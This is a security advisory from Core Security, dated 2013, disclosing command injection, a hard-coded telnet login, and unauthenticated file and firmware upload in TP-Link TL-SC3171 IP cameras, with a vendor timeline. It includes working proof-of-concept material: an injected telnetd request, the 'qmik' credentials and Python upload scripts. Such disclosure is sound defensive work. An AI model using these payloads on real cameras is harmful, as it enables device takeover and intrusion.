Core Security - Corelabs Advisory
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Multiple Vulnerabilities in TP-Link TL-SC3171 IP Cameras


1. *Advisory Information*

Title: Multiple Vulnerabilities in TP-Link TL-SC3171 IP Cameras
Advisory ID: CORE-2013-0618
Advisory URL:
http://www.coresecurity.com/advisories/multiple-vulnerabilities-tp-link-tl-sc3171-ip-cameras
Date published: 2013-07-30
Date of last update: 2013-07-30
Vendors contacted: TP-Link
Release mode: Coordinated release


2. *Vulnerability Information*

Class: OS command injection [CWE-78], Use of hard-coded credentials
[CWE-798], Authentication Bypass Issues [CWE-592], Missing
Authentication for Critical Function [CWE-306]
Impact: Code execution, Security bypass
Remotely Exploitable: Yes
Locally Exploitable: No
CVE Name: CVE-2013-2578, CVE-2013-2579, CVE-2013-2580, CVE-2013-2581


3. *Vulnerability Description*

Multiple vulnerabilities have been found in TP-Link TL-SC3171 [1] IP
camera running firmware version LM.1.6.18P12_sign5 that could allow an
attacker:

   1. [CVE-2013-2578] to execute arbitrary commands through the file
'/cgi-bin/admin/servetest'.
   2. [CVE-2013-2579] to execute arbitrary commands in a shell using
hard-coded credentials.
   3. [CVE-2013-2580] to perform unauthenticated remote file uploads.
   5. [CVE-2013-2581] to perform unauthenticated remote firmware upgrades.

3.1. *Attack Paths*

There are several attack paths that can be exploited by combining these
vulnerabilities with other ones discovered by Eliezer Varade Lopez,
Javier Repiso Sanchez and Jonas Ropero Castillo [2]. Additional attack
paths are available, but the ones listed here allow understanding how an
attacker could compromise the affected device.

3.1.1. *Attack Path I*

(Authentication: none)

   1. Upload a rooted firmware exploiting [CVE-2013-2581].
   2. Reboot the device by exploiting 'http://<ip-cam>/cgi-bin/reboot'[2].

3.1.2. *Attack Path II*

(Authentication: bypassed)

   1. Reset the device to its factory defaults exploiting
'http://<ip-cam>/cgi-bin/hardfactorydefault'[2]. After this step, the
authentication can by bypassed by using 'admin:admin' as a valid
'username:password'.
   2. Reboot the device by exploiting 'http://<ip-cam>/cgi-bin/reboot'[2].
   3. Start the Telnet service exploiting [CVE-2013-2578].
   4. Login to the Telnet service using user 'qmik' (no password)
[CVE-2013-2579], and use the device as a pivoting point.

4. *Vulnerable Packages*

Tests and PoC were run on:

   . TP-Link TL-SC3171 IP camera running firmware version
LM.1.6.18P12_sign5.
   . Other TP-Link cameras and firmware versions are probably affected
too, but they were not checked.

5. *Vendor Information, Solutions and Workarounds*

Vendor provides the links to (pre-release) patched firmware versions
[3]. The final official versions will be released in the next few days.
Please, contact TP-Link for further information.

6. *Credits*

These vulnerabilities were discovered by Flavio de Cristofaro and
researched with the help of Andres Blanco from Core Security
Technologies. The publication of this advisory was coordinated by
Fernando Miranda from Core Advisories Team.


7. *Technical Description / Proof of Concept Code*

7.1. *OS Command Injection in servetest*

[CVE-2013-2578] The file '/cgi-bin/admin/servetest' has an OS command
injection in several of its parameters that can be exploited by an
authenticated user to execute arbitrary commands. The following proof of
concept starts the telnetd service:

/-----
GET
/cgi-bin/admin/servetest?cmd=smtp&ServerName=1.1.1.1;/usr/sbin/telnetd;&ServerPort=25&ServerSSL=off&RcptToAddr1=q@q&AdminAddr=q@q
HTTP/1.1
Accept: */*
Accept-Language: en-us
Referer: http://192.168.1.100/progress.htm
If-Modified-Since: Sat, 1 Jan 2000 00:00:00 GMT
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64;
Trident/5.0)
Host: 192.168.1.100
Proxy-Connection: Keep-Alive
Cookie: VideoFmt=1
Authorization: Basic YWRtaW46YWRtaW4=
Content-Length: 2
-----/

7.2. *Hard-coded credentials in telnet service*

[CVE-2013-2579] The affected system includes a hard-coded login with no
password which could be used by a remote attacker to access the OS of
the affected device using the built-in telnet service:

/-----
username: qmik
password: (none)      
-----/

The 'qmik' user is allowed to execute the command 'su', allowing the
user to execute arbitrary commands with root level privileges. The
telnet service can be enabled through [CVE-2013-2578].


7.3. *Unauthenticated remote file uploads*

[CVE-2013-2580] The file '/cgi-bin/uploadfile' allows an unauthenticated
user to perform remote file uploads as shown in the following Python PoC:


/-----
import requests

fileName = "lala.tmp"
f = open(fileName, "w")
f.write("lala")
f.close()
requests.post("http://192.168.1.100/cgi-bin/uploadfile",
files={fileName: open(fileName, "rb")})
-----/

The uploaded file (in this example lala.tmp) will be hosted in the
'/mnt/mtd' directory.


7.4. *Unauthenticated remote firmware upgrades*

[CVE-2013-2581] The file '/cgi-bin/firmwareupgrade' allows an
unauthenticated user to perform remote firmware upgrades as shown in the
following Python POC:


/-----
import requests

requests.get("http://192.168.1.100/cgi-bin/firmwareupgrade?action=preset")
fileName = "COM_T01F001_LM.1.6.18P12_sign5_TPL.TL-SC3171.bin"
cookies={"VideoFmt":"1"}
requests.post("http://192.168.1.100/cgi-bin/firmwareupgrade?action=preset",
files={"SetFWFileName" : (fileName, open(fileName, "rb"))}, cookies=cookies)
-----/


8. *Report Timeline*

. 2013-06-12:
Core Security Technologies notifies the TP-Link team of the vulnerability.

. 2013-06-18:
Core Security Technologies notifies the TP-Link team of the
vulnerability and set the estimated publication date of the advisory for
July 10, 2013.

. 2013-06-19:
TP-Link answers saying that these vulnerabilities are the same as the
ones published on May 28, 2013.

. 2013-06-26:
Core Security Technologies notifies the TP-Link team that these are new,
different, vulnerabilities and sends a draft report with technical
information.

. 2013-06-26:
Vendor acknowledges the receipt of the technical report.

. 2013-07-01:
Vendor requests additional technical information.

. 2013-07-04:
Core re-sends an improved technical report with additional information
regarding possible attack paths [Sec. 3.1].

. 2013-07-10:
First release date missed.

. 2013-07-15:
Core asks for a status update.

. 2013-07-22:
Vendor notifies that a patched firmware version will be released on July
29th.

. 2013-07-22:
Core re-schedules the advisory publication for July 29th.

. 2013-07-26:
Vendor notifies that a (pre-release) patched firmware version is
available [3] and being tested. The final firmware version will be
released in the next few days.

. 2013-07-30:
Advisory CORE-2013-0618 is published.


9. *References*

[1] TP-Link TL-SC3171,
http://www.tp-link.com/en/products/details/?categoryid=230&model=TL-SC3171.
[2] Security Analysis of IP video surveillance cameras,
http://seclists.org/fulldisclosure/2013/Jun/84.
[3] See the online version,
http://www.coresecurity.com/advisories/multiple-vulnerabilities-tp-link-tl-sc3171-ip-cameras.


10. *About CoreLabs*

CoreLabs, the research center of Core Security Technologies, is charged
with anticipating the future needs and requirements for information
security technologies. We conduct our research in several important
areas of computer security including system vulnerabilities, cyber
attack planning and simulation, source code auditing, and cryptography.
Our results include problem formalization, identification of
vulnerabilities, novel solutions and prototypes for new technologies.
CoreLabs regularly publishes security advisories, technical papers,
project information and shared software tools for public use at:
http://corelabs.coresecurity.com.


11. *About Core Security Technologies*

Core Security Technologies enables organizations to get ahead of threats
with security test and measurement solutions that continuously identify
and demonstrate real-world exposures to their most critical assets. Our
customers can gain real visibility into their security standing, real
validation of their security controls, and real metrics to more
effectively secure their organizations.

Core Security's software solutions build on over a decade of trusted
research and leading-edge threat expertise from the company's Security
Consulting Services, CoreLabs and Engineering groups. Core Security
Technologies can be reached at +1 (617) 399-6980 or on the Web at:
http://www.coresecurity.com.


12. *Disclaimer*

The contents of this advisory are copyright (c) 2013 Core Security
Technologies and (c) 2013 CoreLabs, and are licensed under a Creative
Commons Attribution Non-Commercial Share-Alike 3.0 (United States)
License: http://creativecommons.org/licenses/by-nc-sa/3.0/us/


13. *PGP/GPG Keys*

This advisory has been signed with the GPG key of Core Security
Technologies advisories team, which is available for download at
http://www.coresecurity.com/files/attachments/core_security_advisories.asc.
